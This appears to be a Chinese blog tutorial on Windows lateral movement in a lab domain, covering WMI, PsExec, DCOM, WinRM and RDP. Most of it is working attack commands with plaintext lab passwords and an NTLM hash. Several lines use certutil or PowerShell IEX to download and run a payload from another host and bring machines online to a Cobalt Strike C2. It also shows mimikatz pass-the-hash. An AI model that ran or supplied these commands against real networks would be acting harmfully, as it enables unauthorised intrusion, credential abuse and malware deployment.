你应该了解的

环境一览

账户错啦,少写了个in,应该是win101,win102,win103

wmi管道

WMI 全称 “windows 管理规范”,从 win2003 开始一直存在,原本是方便管理员对 windows 主机进行管理。在内网渗透中,可使用 WMI 进行横向移动支持用户名明文或者 hash 的方式进行认证,且该方法不会在目标日志系统留下痕迹。

  • 利用条件
    1. WMI 服务开启,端口 135,默认开启。
    2. 防火墙允许 135、445 等端口通信。(允许WMI服务通过)
    3. 知道目标机的账户密码或 HASH。
    4. 用户需要有管理员权限

首先先让win2012上线

生成木马并且传到被控主机上,打开与被控机器的命令交互,然后利用wmi管道的下载和执行功能让win10上线。因为内部机器不出网,所以要么监听win2012的某个端口,使用反向木马让win10来找他,要么正向木马监听win10某个端,win2012去找他。这里不多赘述,不懂请看前期文章

#从214.102下载后门beacon.exe到214.101的c:/beacon.exe
shell wmic /node:192.168.214.101 /user:XIUBAO\win102 /password:windows10. process call create "certutil.exe -urlcache -split -f http://192.168.214.102/beacon.exe c:/beacon.exe"
#执行在214.101下的后门
shell wmic /node:192.168.214.101 /user:XIUBAO\win102 /password:windows10. process call create "c:/beacon.exe"
#这里我试了很多次发现始终上传不上去,后来才发现需要管理员权限才行,所以这里命令我懒得改了,是管理员账户不管本地还是域管理员都可以(命令加粗部分需要修改)

记得要敲入connect ip 端口才能(正向木马的话)

给俩拓展套件,但是需要上传到被控机器执行,或者本地开socket

smb共享

  • SMB 服务通常由文件服务器提供,它允许客户端计算机通过网络访问服务器上的共享资源。
  • 用户可以通过 SMB 在网络上访问和共享文件夹、文件以及打印机,从而实现不同计算机之间方便地共享数据和打印输出。并且可以通过明文或 HASH 传递来远程执行相关操作。

利用 SMB 服务的条件

  1. 文件与打印机服务开启,默认情况下是开启的。
  2. 防火墙允许 135、445 等端口通信,因为 SMB 服务通常使用这些端口进行通信和数据传输。
  3. 知道目标机的账户密码或 HASH,这是进行身份验证和访问的必要条件,只有拥有正确的账户信息才能成功连接和使用 SMB 服务访问共享资源。

针对这一项服务,可以利用微软官方的套件pstools

然后直接输入命令,运行需要管理员权限,然后就直接从win2012登陆到了win10,接着就可以下载木马执行什么的操作

psexec.exe \\192.168.214.101 -u XIUBAO\administrator -p win2012! -s cmd

当然也存在套件可以使用

这个有缺陷无回显

cs也存在自带的psexec可以使用

dcom组件

DCOM 是微软的一系列概念和程序接口,支持不同的两台机器上的组件间的通信,无论它们是运行在局域网、广域网还是 Internet 上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。

相关条件

  • 适用目标:Win7 系统以上。
  • 权限要求:需要管理员权限的 PowerShell。
  • 防火墙要求:远程主机防火墙未阻止。
dcomexec-impacket
python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32
python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32 whoami
python dcomexec.py sqlserver/administrator:@192.168.3.32 whoami -hashes :518b98ad4178a53695dc997aa02d455c

此方式较前两种较为鸡肋,但凡开启防火墙就报废了。ps:我在win2012上能测试成功,但是win10没成功

winrm远程管理

WinRM 代表 Windows 远程管理,是一种允许管理员远程执行系统管理任务的服务。
WinRS 是内置的命令行工具,用于远程连接运行 WinRM 的服务器并执行大多数 cmd 命令

利用条件:
1、win 2012 之前利用需要手动开启 winRM,在 win 2012 之后 (包括 win 2012) 的版本是默认开启的,
2、防火墙对 5986、5985 端口开放。
开启命令:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

#测试流程
1. 探针可用:
端口扫描 5985
2. 连接执行:通过 winrs 来执行远程命令
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45
whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345
whoami
3. 上线 C2:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45
"cmd.exe/c certutil -urlcache -split -f
http://192.168.3.31/4444.exe 4444.exe & 4444.exe"

如果执行不了命令敲一下这个

Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
#拓展方法
4.CS 内置:
winrm winrm64
5. 其他解决:通过 winrm.cmd 来进行命令执行
shell winrm invoke Create wmicimv2/win32_process
@{CommandLine="cmd.exe/c certutil -urlcache -split -f
http://192.168.3.31/4444.exe 4444.exe & 4444.exe"} -r:sqlserver
-u:sqlserver\administrator -p:admin!@#45

rdp远程登陆

远程桌面服务 支持明文及 HASH 连接
条件:对方开启 RDP 服务 远程桌面
1. 探针连接::
端口扫描 3389
tasklist /svc | find "TermService" # 找到对应服务进程的 PID
netstat -ano | find "PID 值" # 找到进程对应的端口号

2. 连接执行:
明文连接:适用于 Socks 代理后
mstsc /console/v:192.168.3.32 /admin

mimikatz (HASH 连接)(在被控机上执行)
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.31 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

SharpRDP (明文连接)
https://github.com/0xthirteen/SharpRDP
是一款可以不借助远程桌面 GUI 的情况下,通过 RDP 协议进行命令执行的程序。
SharpRDP.exe computername=192.168.3.32 command="powershell.exe -nop -w hidden -c"IEX ((new-object net.webclient).downloadstring ('http://192.168.3.31:83/a'))""
username=Administrator password=admin!@#45

拓展

kail有集成工具